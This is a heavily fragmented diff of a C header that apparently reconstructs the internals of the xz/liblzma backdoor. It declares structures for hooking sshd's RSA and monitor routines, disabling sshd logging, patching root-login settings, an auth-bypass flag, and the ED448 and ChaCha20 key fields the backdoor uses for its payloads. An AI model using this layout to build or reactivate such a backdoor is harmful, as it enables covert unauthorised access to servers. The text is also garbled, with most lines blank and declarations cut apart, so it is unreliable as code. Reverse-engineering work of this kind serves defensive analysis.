+ 976 int (*setlogmask)(
int mask);
+ 977 int (*shutdown)(
int sockfd,
int how);
+ 978 void *__libc_stack_end;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 997 typedef int (*pfn_RSA_public_decrypt_t)(
+ 998 int flen,
unsigned char *from,
unsigned char *to,
+ 999 RSA *rsa,
int padding);
+ 1000 typedef int (*pfn_EVP_PKEY_set1_RSA_t)(EVP_PKEY *pkey,
struct rsa_st *key);
+ 1001 typedef void (*pfn_RSA_get0_key_t)(
+
+ 1003 const BIGNUM **n,
const BIGNUM **e,
const BIGNUM **d);
+
+
+
+ 1007 pfn_EVP_PKEY_set1_RSA_t EVP_PKEY_set1_RSA;
+
+ 1009 void (*RSA_get0_key_null)(
+ 1010 const RSA *r,
const BIGNUM **n,
+ 1011 const BIGNUM **e,
const BIGNUM **d);
+
+
+
+ 1027 void (*DSA_get0_pqg)(
+ 1028 const DSA *d,
const BIGNUM **p,
+ 1029 const BIGNUM **q,
const BIGNUM **g);
+ 1030 const BIGNUM *(*DSA_get0_pub_key)(
const DSA *d);
+ 1031 size_t (*EC_POINT_point2oct)(
+ 1032 const EC_GROUP *group,
const EC_POINT *p,
+ 1033 point_conversion_form_t form,
unsigned char *buf,
+ 1034 size_t len, BN_CTX *ctx);
+ 1035 EC_POINT *(*EC_KEY_get0_public_key)(
const EC_KEY *key);
+ 1036 const EC_GROUP *(*EC_KEY_get0_group)(
const EC_KEY *key);
+ 1037 EVP_MD *(*EVP_sha256)(void);
+ 1038 pfn_RSA_get0_key_t RSA_get0_key;
+ 1039 int (*BN_num_bits)(
const BIGNUM *a);
+ 1040 EVP_PKEY *(*EVP_PKEY_new_raw_public_key)(
+ 1041 int type, ENGINE *e,
+ 1042 const unsigned char *key,
size_t keylen);
+ 1043 EVP_MD_CTX *(*EVP_MD_CTX_new)(void);
+ 1044 int (*EVP_DigestVerifyInit)(
+ 1045 EVP_MD_CTX *ctx, EVP_PKEY_CTX **pctx,
+ 1046 const EVP_MD *type, ENGINE *e, EVP_PKEY *pkey);
+ 1047 int (*EVP_DigestVerify)(
+ 1048 EVP_MD_CTX *ctx,
const unsigned char *sig,
+ 1049 size_t siglen,
const unsigned char *tbs,
size_t tbslen);
+ 1050 void (*EVP_MD_CTX_free)(EVP_MD_CTX *ctx);
+ 1051 void (*EVP_PKEY_free)(EVP_PKEY *key);
+ 1052 EVP_CIPHER_CTX *(*EVP_CIPHER_CTX_new)(void);
+ 1053 int (*EVP_DecryptInit_ex)(
+ 1054 EVP_CIPHER_CTX *ctx,
const EVP_CIPHER *type,
+ 1055 ENGINE *impl,
const unsigned char *key,
const unsigned char *iv);
+ 1056 int (*EVP_DecryptUpdate)(
+ 1057 EVP_CIPHER_CTX *ctx,
unsigned char *out,
+ 1058 int *outl,
const unsigned char *in,
int inl);
+ 1059 int (*EVP_DecryptFinal_ex)(EVP_CIPHER_CTX *ctx,
unsigned char *outm,
int *outl);
+ 1060 void (*EVP_CIPHER_CTX_free)(EVP_CIPHER_CTX *ctx);
+ 1061 const EVP_CIPHER *(*EVP_chacha20)(void);
+ 1062 RSA *(*RSA_new)(void);
+ 1063 BIGNUM *(*BN_dup)(
const BIGNUM *from);
+ 1064 BIGNUM *(*BN_bin2bn)(
const unsigned char *s,
int len, BIGNUM *ret);
+ 1065 int (*RSA_set0_key)(RSA *r, BIGNUM *n, BIGNUM *e, BIGNUM *d);
+
+ 1067 const void *data,
size_t count,
unsigned char *md,
+ 1068 unsigned int *size,
const EVP_MD *type, ENGINE *impl);
+
+
+ 1071 const unsigned char *m,
unsigned int m_len,
+ 1072 unsigned char *sigret,
unsigned int *siglen, RSA *rsa);
+ 1073 int (*BN_bn2bin)(
const BIGNUM *a,
unsigned char *to);
+ 1074 void (*RSA_free)(RSA *rsa);
+ 1075 void (*BN_free)(BIGNUM *a);
+
+ 1077 u32 resolved_imports_count;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-
- 1121 BOOL have_mm_answer_keyallowed;
- 1122 BOOL have_mm_answer_authpassword;
- 1123 BOOL have_mm_answer_keyverify;
-
-
- 1126 void *mm_answer_keyallowed;
- 1127 void *mm_answer_keyverify;
- 1128 void *mm_answer_authpassword_start;
- 1129 void *mm_answer_authpassword_end;
- 1130 sshd_monitor_func_t *mm_answer_authpassword_ptr;
- 1131 int monitor_reqtype_authpassword;
-
- 1133 void *mm_answer_keyallowed_start;
- 1134 void *mm_answer_keyallowed_end;
- 1135 void *mm_answer_keyallowed_ptr;
- 1136 u32 mm_answer_keyallowed_reqtype;
+
+
+
+ 1123 typedef int (*sshd_monitor_func_t)(
struct ssh *ssh,
int sock,
struct sshbuf *m);
+
+
+ 1126 BOOL have_mm_answer_keyallowed;
+ 1127 BOOL have_mm_answer_authpassword;
+ 1128 BOOL have_mm_answer_keyverify;
+
+
+ 1131 void *mm_answer_keyallowed;
+ 1132 void *mm_answer_keyverify;
+ 1133 void *mm_answer_authpassword_start;
+ 1134 void *mm_answer_authpassword_end;
+ 1135 sshd_monitor_func_t *mm_answer_authpassword_ptr;
+ 1136 int monitor_reqtype_authpassword;
- 1138 void *mm_answer_keyverify_start;
- 1139 void *mm_answer_keyverify_end;
- 1140 void *mm_answer_keyverify_ptr;
-
-
-
-
-
-
- 1147 char *STR_unknown_ptr;
- 1148 void *mm_request_send_start;
- 1149 void *mm_request_send_end;
- 1150 PADDING(
sizeof(u32));
- 1151 PADDING(
sizeof(u32));
-
- 1153 int *permit_root_login_ptr;
- 1154 char *STR_without_password;
- 1155 char *STR_publickey;
-
-
- 1158 assert_offset(
sshd_ctx_t, have_mm_answer_keyallowed, 0x0);
- 1159 assert_offset(
sshd_ctx_t, have_mm_answer_authpassword, 0x4);
- 1160 assert_offset(
sshd_ctx_t, have_mm_answer_keyverify, 0x8);
-
- 1162 assert_offset(
sshd_ctx_t, mm_answer_keyallowed, 0x18);
- 1163 assert_offset(
sshd_ctx_t, mm_answer_keyverify, 0x20);
- 1164 assert_offset(
sshd_ctx_t, mm_answer_authpassword_start, 0x28);
- 1165 assert_offset(
sshd_ctx_t, mm_answer_authpassword_end, 0x30);
- 1166 assert_offset(
sshd_ctx_t, mm_answer_authpassword_ptr, 0x38);
- 1167 assert_offset(
sshd_ctx_t, monitor_reqtype_authpassword, 0x40);
- 1168 assert_offset(
sshd_ctx_t, mm_answer_keyallowed_start, 0x48);
- 1169 assert_offset(
sshd_ctx_t, mm_answer_keyallowed_end, 0x50);
- 1170 assert_offset(
sshd_ctx_t, mm_answer_keyallowed_ptr, 0x58);
- 1171 assert_offset(
sshd_ctx_t, mm_answer_keyallowed_reqtype, 0x60);
- 1172 assert_offset(
sshd_ctx_t, mm_answer_keyverify_start, 0x68);
- 1173 assert_offset(
sshd_ctx_t, mm_answer_keyverify_end, 0x70);
- 1174 assert_offset(
sshd_ctx_t, mm_answer_keyverify_ptr, 0x78);
- 1175 assert_offset(
sshd_ctx_t, writebuf_size, 0x84);
-
- 1177 assert_offset(
sshd_ctx_t, STR_unknown_ptr, 0xA0);
- 1178 assert_offset(
sshd_ctx_t, mm_request_send_start, 0xA8);
- 1179 assert_offset(
sshd_ctx_t, mm_request_send_end, 0xB0);
- 1180 assert_offset(
sshd_ctx_t, use_pam_ptr, 0xC0);
- 1181 assert_offset(
sshd_ctx_t, permit_root_login_ptr, 0xC8);
- 1182 assert_offset(
sshd_ctx_t, STR_without_password, 0xD0);
- 1183 assert_offset(
sshd_ctx_t, STR_publickey, 0xD8);
-
-
-
-
-
-
- 1190 SYSLOG_LEVEL_VERBOSE,
- 1191 SYSLOG_LEVEL_DEBUG1,
- 1192 SYSLOG_LEVEL_DEBUG2,
- 1193 SYSLOG_LEVEL_DEBUG3,
- 1194 SYSLOG_LEVEL_NOT_SET = -1
-
-
- 1197 typedef void (*log_handler_fn)(
-
-
-
-
-
-
- 1204 BOOL logging_disabled;
- 1205 BOOL log_hooking_possible;
- 1206 BOOL syslog_disabled;
-
- 1208 char *STR_percent_s;
- 1209 char *STR_Connection_closed_by;
-
- 1211 char *STR_authenticating;
-
-
-
- 1215 void *log_handler_ptr;
- 1216 void *log_handler_ctx_ptr;
- 1217 log_handler_fn orig_log_handler;
- 1218 void *orig_log_handler_ctx;
-
- 1220 void (*mm_log_handler)(
int level,
int forced,
const char *msg,
void *ctx);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1241 struct __attribute__((packed)) {
-
-
-
-
-
-
-
- 1249 struct __attribute__((packed)) {
- 1250 u8 sshbuf_data_qword_index;
- 1251 u8 sshbuf_size_qword_index;
-
-
-
-
-
-
-
-
+ 1138 void *mm_answer_keyallowed_start;
+ 1139 void *mm_answer_keyallowed_end;
+ 1140 void *mm_answer_keyallowed_ptr;
+ 1141 u32 mm_answer_keyallowed_reqtype;
+
+ 1143 void *mm_answer_keyverify_start;
+ 1144 void *mm_answer_keyverify_end;
+ 1145 void *mm_answer_keyverify_ptr;
+
+
+
+
+
+
+ 1152 char *STR_unknown_ptr;
+ 1153 void *mm_request_send_start;
+ 1154 void *mm_request_send_end;
+ 1155 PADDING(
sizeof(u32));
+ 1156 PADDING(
sizeof(u32));
+
+ 1158 int *permit_root_login_ptr;
+ 1159 char *STR_without_password;
+ 1160 char *STR_publickey;
+
+
+ 1163 assert_offset(
sshd_ctx_t, have_mm_answer_keyallowed, 0x0);
+ 1164 assert_offset(
sshd_ctx_t, have_mm_answer_authpassword, 0x4);
+ 1165 assert_offset(
sshd_ctx_t, have_mm_answer_keyverify, 0x8);
+
+ 1167 assert_offset(
sshd_ctx_t, mm_answer_keyallowed, 0x18);
+ 1168 assert_offset(
sshd_ctx_t, mm_answer_keyverify, 0x20);
+ 1169 assert_offset(
sshd_ctx_t, mm_answer_authpassword_start, 0x28);
+ 1170 assert_offset(
sshd_ctx_t, mm_answer_authpassword_end, 0x30);
+ 1171 assert_offset(
sshd_ctx_t, mm_answer_authpassword_ptr, 0x38);
+ 1172 assert_offset(
sshd_ctx_t, monitor_reqtype_authpassword, 0x40);
+ 1173 assert_offset(
sshd_ctx_t, mm_answer_keyallowed_start, 0x48);
+ 1174 assert_offset(
sshd_ctx_t, mm_answer_keyallowed_end, 0x50);
+ 1175 assert_offset(
sshd_ctx_t, mm_answer_keyallowed_ptr, 0x58);
+ 1176 assert_offset(
sshd_ctx_t, mm_answer_keyallowed_reqtype, 0x60);
+ 1177 assert_offset(
sshd_ctx_t, mm_answer_keyverify_start, 0x68);
+ 1178 assert_offset(
sshd_ctx_t, mm_answer_keyverify_end, 0x70);
+ 1179 assert_offset(
sshd_ctx_t, mm_answer_keyverify_ptr, 0x78);
+ 1180 assert_offset(
sshd_ctx_t, writebuf_size, 0x84);
+
+ 1182 assert_offset(
sshd_ctx_t, STR_unknown_ptr, 0xA0);
+ 1183 assert_offset(
sshd_ctx_t, mm_request_send_start, 0xA8);
+ 1184 assert_offset(
sshd_ctx_t, mm_request_send_end, 0xB0);
+ 1185 assert_offset(
sshd_ctx_t, use_pam_ptr, 0xC0);
+ 1186 assert_offset(
sshd_ctx_t, permit_root_login_ptr, 0xC8);
+ 1187 assert_offset(
sshd_ctx_t, STR_without_password, 0xD0);
+ 1188 assert_offset(
sshd_ctx_t, STR_publickey, 0xD8);
+
+
+
+
+
+
+ 1195 SYSLOG_LEVEL_VERBOSE,
+ 1196 SYSLOG_LEVEL_DEBUG1,
+ 1197 SYSLOG_LEVEL_DEBUG2,
+ 1198 SYSLOG_LEVEL_DEBUG3,
+ 1199 SYSLOG_LEVEL_NOT_SET = -1
+
+
+ 1202 typedef void (*log_handler_fn)(
+
+
+
+
+
+
+ 1209 BOOL logging_disabled;
+ 1210 BOOL log_hooking_possible;
+ 1211 BOOL syslog_disabled;
+
+ 1213 char *STR_percent_s;
+ 1214 char *STR_Connection_closed_by;
+
+ 1216 char *STR_authenticating;
+
+
+
+ 1220 void *log_handler_ptr;
+ 1221 void *log_handler_ctx_ptr;
+ 1222 log_handler_fn orig_log_handler;
+ 1223 void *orig_log_handler_ctx;
+
+ 1225 void (*mm_log_handler)(
int level,
int forced,
const char *msg,
void *ctx);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1246 struct __attribute__((packed)) {
+
+
+
+
+
+
+
+ 1254 struct __attribute__((packed)) {
+ 1255 u8 sshbuf_data_qword_index;
+ 1256 u8 sshbuf_size_qword_index;
+
+
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1309 struct monitor **struct_monitor_ptr_address;
-
-
-
-
-
-
-
-
-
-
-
-
- 1346 u64 sock_read_buf_size;
- 1347 u8 sock_read_buf[64];
- 1348 u64 payload_data_size;
-
-
-
-
- 1353 u32 sshd_host_pubkey_idx;
-
- 1358 u8 secret_data[ED448_KEY_SIZE];
- 1364 u8 shift_operations[31];
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1409 pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1314 struct monitor **struct_monitor_ptr_address;
+
+
+
+
+
+
+
+
+
+
+
+
+ 1351 u64 sock_read_buf_size;
+ 1352 u8 sock_read_buf[64];
+ 1353 u64 payload_data_size;
+
+
+
+
+ 1358 u32 sshd_host_pubkey_idx;
+
+ 1363 u8 secret_data[ED448_KEY_SIZE];
+ 1369 u8 shift_operations[31];
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1414 pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
+
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1512 void (*_dl_audit_symbind_alt)(
struct link_map *l,
const ElfW(Sym) *ref,
void **value, lookup_t result);
-
- 1522 pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
- 1528 pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
- 1533 pfn_RSA_get0_key_t hook_RSA_get0_key;
-
- 1535 u64 hooks_installed;
-
-
- 1538 assert_offset(
ldso_ctx_t, libcrypto_auditstate_bindflags_ptr, 0x40);
- 1539 assert_offset(
ldso_ctx_t, libcrypto_auditstate_bindflags_old_value, 0x48);
- 1540 assert_offset(
ldso_ctx_t, sshd_auditstate_bindflags_ptr, 0x50);
- 1541 assert_offset(
ldso_ctx_t, sshd_auditstate_bindflags_old_value, 0x58);
- 1542 assert_offset(
ldso_ctx_t, sshd_link_map_l_audit_any_plt_addr, 0x60);
- 1543 assert_offset(
ldso_ctx_t, link_map_l_audit_any_plt_bitmask, 0x68);
- 1544 assert_offset(
ldso_ctx_t, _dl_audit_ptr, 0x70);
- 1545 assert_offset(
ldso_ctx_t, _dl_naudit_ptr, 0x78);
- 1546 assert_offset(
ldso_ctx_t, hooked_audit_ifaces, 0x80);
-
- 1548 assert_offset(
ldso_ctx_t, libcrypto_l_name, 0xF8);
- 1549 assert_offset(
ldso_ctx_t, _dl_audit_symbind_alt, 0x100);
- 1550 assert_offset(
ldso_ctx_t, _dl_audit_symbind_alt__size, 0x108);
- 1551 assert_offset(
ldso_ctx_t, hook_RSA_public_decrypt, 0x110);
- 1552 assert_offset(
ldso_ctx_t, hook_EVP_PKEY_set1_RSA, 0x118);
- 1553 assert_offset(
ldso_ctx_t, hook_RSA_get0_key, 0x120);
-
- 1555 assert_offset(
ldso_ctx_t, hooks_installed, 0x130);
-
-
-
-
-
-
-
-
-
-
- 1566 u64 signed_data_size;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1584 uintptr_t (*symbind64)(
- 1585 Elf64_Sym *sym,
unsigned int ndx,
- 1586 uptr *refcook, uptr *defcook,
- 1587 unsigned int flags,
const char *symname);
- 1588 pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
- 1589 pfn_RSA_get0_key_t hook_RSA_get0_key;
- 1590 log_handler_fn mm_log_handler;
- 1591 PADDING(
sizeof(
void *));
- 1592 PADDING(
sizeof(
void *));
- 1593 sshd_monitor_func_t mm_answer_keyallowed;
- 1594 sshd_monitor_func_t mm_answer_keyverify;
- 1595 PADDING(
sizeof(
void *));
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1517 void (*_dl_audit_symbind_alt)(
struct link_map *l,
const ElfW(Sym) *ref,
void **value, lookup_t result);
+
+ 1527 pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
+ 1533 pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
+ 1538 pfn_RSA_get0_key_t hook_RSA_get0_key;
+
+ 1540 u64 hooks_installed;
+
+
+ 1543 assert_offset(
ldso_ctx_t, libcrypto_auditstate_bindflags_ptr, 0x40);
+ 1544 assert_offset(
ldso_ctx_t, libcrypto_auditstate_bindflags_old_value, 0x48);
+ 1545 assert_offset(
ldso_ctx_t, sshd_auditstate_bindflags_ptr, 0x50);
+ 1546 assert_offset(
ldso_ctx_t, sshd_auditstate_bindflags_old_value, 0x58);
+ 1547 assert_offset(
ldso_ctx_t, sshd_link_map_l_audit_any_plt_addr, 0x60);
+ 1548 assert_offset(
ldso_ctx_t, link_map_l_audit_any_plt_bitmask, 0x68);
+ 1549 assert_offset(
ldso_ctx_t, _dl_audit_ptr, 0x70);
+ 1550 assert_offset(
ldso_ctx_t, _dl_naudit_ptr, 0x78);
+ 1551 assert_offset(
ldso_ctx_t, hooked_audit_ifaces, 0x80);
+
+ 1553 assert_offset(
ldso_ctx_t, libcrypto_l_name, 0xF8);
+ 1554 assert_offset(
ldso_ctx_t, _dl_audit_symbind_alt, 0x100);
+ 1555 assert_offset(
ldso_ctx_t, _dl_audit_symbind_alt__size, 0x108);
+ 1556 assert_offset(
ldso_ctx_t, hook_RSA_public_decrypt, 0x110);
+ 1557 assert_offset(
ldso_ctx_t, hook_EVP_PKEY_set1_RSA, 0x118);
+ 1558 assert_offset(
ldso_ctx_t, hook_RSA_get0_key, 0x120);
+
+ 1560 assert_offset(
ldso_ctx_t, hooks_installed, 0x130);
+
+
+
+
+
+
+
+
+
+
+ 1571 u64 signed_data_size;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1589 uintptr_t (*symbind64)(
+ 1590 Elf64_Sym *sym,
unsigned int ndx,
+ 1591 uptr *refcook, uptr *defcook,
+ 1592 unsigned int flags,
const char *symname);
+ 1593 pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
+ 1594 pfn_RSA_get0_key_t hook_RSA_get0_key;
+ 1595 log_handler_fn mm_log_handler;
+ 1596 PADDING(
sizeof(
void *));
+ 1597 PADDING(
sizeof(
void *));
+ 1598 sshd_monitor_func_t mm_answer_keyallowed;
+ 1599 sshd_monitor_func_t mm_answer_keyverify;
+ 1600 PADDING(
sizeof(
void *));
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1651 Elf64_Ehdr *dynamic_linker_ehdr;
- 1652 void **__libc_stack_end;
-
-
-
- 1656 assert_offset(
main_elf_t, dynamic_linker_ehdr, 0x8);
- 1657 assert_offset(
main_elf_t, __libc_stack_end, 0x10);
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1656 Elf64_Ehdr *dynamic_linker_ehdr;
+ 1657 void **__libc_stack_end;
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1721 struct link_map *liblzma_map;
- 1722 struct link_map *libcrypto_map;
- 1723 struct link_map *libsystemd_map;
- 1724 struct link_map *libc_map;
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1761 lzma_allocator fake_allocator;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1837 u32 operation_index;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1860 typedef union __attribute__((packed)) {
-
-
-
+
+ 1661 assert_offset(
main_elf_t, dynamic_linker_ehdr, 0x8);
+ 1662 assert_offset(
main_elf_t, __libc_stack_end, 0x10);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1726 struct link_map *liblzma_map;
+ 1727 struct link_map *libcrypto_map;
+ 1728 struct link_map *libsystemd_map;
+ 1729 struct link_map *libc_map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1766 lzma_allocator fake_allocator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1842 u32 operation_index;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-
-
-
-
-
-
-
-
- 1874 u8 signature[ED448_SIGNATURE_SIZE];
-
-
-
-
-
-
-
-
-
-
-
-
- 1892 #define TEST_FLAG(x, flag) (((x) & (flag)) != 0)
-
-
-
-
-
-
-
-
-
-
-
-
- 1931 X_FLAGS2_AUTH_BYPASS = 0x4,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1969 const BIGNUM *rsa_n;
- 1970 const BIGNUM *rsa_e;
-
-
- 1973 PADDING(CHACHA20_KEY_SIZE + CHACHA20_IV_SIZE);
- 1974 u8 ivec[CHACHA20_IV_SIZE];
- 1975 u8 ed448_key[ED448_KEY_SIZE];
-
-
-
-
-
-
- 1982 assert_offset(
key_ctx_t, payload, 0x15);
-
- 1984 assert_offset(
key_ctx_t, ed448_key, 0x27D);
-
-
-
-
-
- 1994 const BIGNUM *rsa_n;
- 1995 const BIGNUM *rsa_e;
-
- 1997 u16 payload_body_size;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 2016 struct timespec timespec;
-
-
-
-
-
-
-
-
-
-
- 2031 u64 hostkey_hash_offset;
-
- 2033 u8 *payload_data_ptr;
-
-
-
-
-
-
-
-
- 2042 struct __attribute__((packed)) {
-
-
-
-
+ 1865 typedef union __attribute__((packed)) {
+
+
+
+
+
+
+
+
+
+
+
+
+ 1879 u8 signature[ED448_SIGNATURE_SIZE];
+
+
+
+
+
+
+
+
+
+
+
+
+ 1897 #define TEST_FLAG(x, flag) (((x) & (flag)) != 0)
+
+
+
+
+
+
+
+
+
+
+
+
+ 1936 X_FLAGS2_AUTH_BYPASS = 0x4,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1974 const BIGNUM *rsa_n;
+ 1975 const BIGNUM *rsa_e;
+
+
+ 1978 PADDING(CHACHA20_KEY_SIZE + CHACHA20_IV_SIZE);
+ 1979 u8 ivec[CHACHA20_IV_SIZE];
+ 1980 u8 ed448_key[ED448_KEY_SIZE];
+
+
+
+
+
+
+ 1987 assert_offset(
key_ctx_t, payload, 0x15);
+
+ 1989 assert_offset(
key_ctx_t, ed448_key, 0x27D);
+
+
+
+
+
+ 1999 const BIGNUM *rsa_n;
+ 2000 const BIGNUM *rsa_e;
+
+ 2002 u16 payload_body_size;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2021 struct timespec timespec;
+
+
+
+
+
+
+
+
+
+
+ 2036 u64 hostkey_hash_offset;
+
+ 2038 u8 *payload_data_ptr;
+
+
+
+
+
+
+
+
2047 struct __attribute__((packed)) {
-
- 2049 u64 num_host_pubkeys;
- 2050 u8 ed448_key[ED448_KEY_SIZE];
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+ 2052 struct __attribute__((packed)) {
+
+ 2054 u64 num_host_pubkeys;
+ 2055 u8 ed448_key[ED448_KEY_SIZE];
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-
-
-
-
-
-
-
-
-
-
- 2121 PADDING(
sizeof(u64));
-
- 2128 PADDING(
sizeof(u64));
- 2129 PADDING(
sizeof(u64));
-
- 2136 PADDING(
sizeof(u64));
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2126 PADDING(
sizeof(u64));
+
+ 2133 PADDING(
sizeof(u64));
+ 2134 PADDING(
sizeof(u64));
+
+ 2141 PADDING(
sizeof(u64));
+
+
-
- 2151 PADDING(
sizeof(u64));
- 2152 lzma_allocator allocator;
-
+
+
+
+
-
-
-
-
+
+ 2156 PADDING(
sizeof(u64));
+ 2157 lzma_allocator allocator;
+
-
-
-
-
-
-
- 2182 u8 *output_register;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 2315 BOOL is_64bit_operand,
-
-
-
-
-
-
-
- 2338 BOOL is_64bit_operand,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 2404 EncodedStringId encoded_string_id,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 2458 FuncFindType find_mode);
-
-
-
-
-
-
-
-
-
-
-
- 2517 extern char *check_argument(
char arg_first_char,
char* arg_name);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 2630 EncodedStringId encoded_string_id);
-
-
-
-
-
-
- 2664 StringXrefId xref_id,
- 2665 void **pOutCodeStart,
void **pOutCodeEnd,
-
-
-
-
-
-
- 2684 EncodedStringId *stringId_inOut,
- 2685 void *rodata_start_ptr);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 2755 unsigned shift_count, BOOL start_from_call);
-
-
-
- 2769 unsigned operation_index,
- 2770 unsigned shift_count,
- 2771 int index, u8 *code);
-
-
-
-
-
-
-
-
-
- 2799 unsigned shift_count,
unsigned operation_index);
-
-
- 2844 u8 *call_site, u8 *code,
-
- 2846 unsigned shift_count,
unsigned operation_index);
-
-
-
- 2861 unsigned shift_count,
unsigned operation_index,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 2978 struct link_map *libc,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 3055 extern EncodedStringId
get_string_id(
const char *string_begin,
const char *string_end);
-
- 3096 extern unsigned int _get_cpuid_modified(
unsigned int leaf,
unsigned int *eax,
unsigned int *ebx,
unsigned int *ecx,
unsigned int *edx, u64 *caller_frame);
-
- 3109 extern void _cpuid_gcc(
unsigned int level,
unsigned int *a,
unsigned int *b,
unsigned int *c,
unsigned int *d);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 3197 uptr *refcook, uptr *defcook,
-
- 3199 const char *symname);
-
-
-
-
-
- 3230 ptrdiff_t *libname_offset,
-
-
-
-
-
- 3258 ptrdiff_t *libname_offset,
-
-
-
-
-
-
-
-
-
-
-
- 3305 ptrdiff_t libname_offset,
-
-
-
-
-
-
-
-
-
-
-
-
-
- 3348 void **sensitive_data_out);
-
-
-
-
-
-
- 3369 void **sensitive_data_out,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 3439 u8 *buffer, u64 bufferSize,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 3520 u64 sshkey_digest_offset,
- 3521 u64 signed_data_size,
-
-
-
-
-
-
- 3539 BOOL skip_root_patch,
-
- 3541 BOOL replace_monitor_reqtype,
- 3542 int monitor_reqtype,
-
-
-
-
-
-
-
-
-
-
- 3570 u8 **code_start_out,
-
-
-
-
-
-
-
-
-
-
- 3608 void **monitor_field_ptr_out,
-
-
-
-
-
-
- 3626 void *mem_range_start,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+ 2187 u8 *output_register;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2320 BOOL is_64bit_operand,
+
+
+
+
+
+
+
+ 2343 BOOL is_64bit_operand,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2409 EncodedStringId encoded_string_id,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2463 FuncFindType find_mode);
+
+
+
+
+
+
+
+
+
+
+
+ 2522 extern char *check_argument(
char arg_first_char,
char* arg_name);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2635 EncodedStringId encoded_string_id);
+
+
+
+
+
+
+ 2669 StringXrefId xref_id,
+ 2670 void **pOutCodeStart,
void **pOutCodeEnd,
+
+
+
+
+
+
+ 2689 EncodedStringId *stringId_inOut,
+ 2690 void *rodata_start_ptr);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2760 unsigned shift_count, BOOL start_from_call);
+
+
+
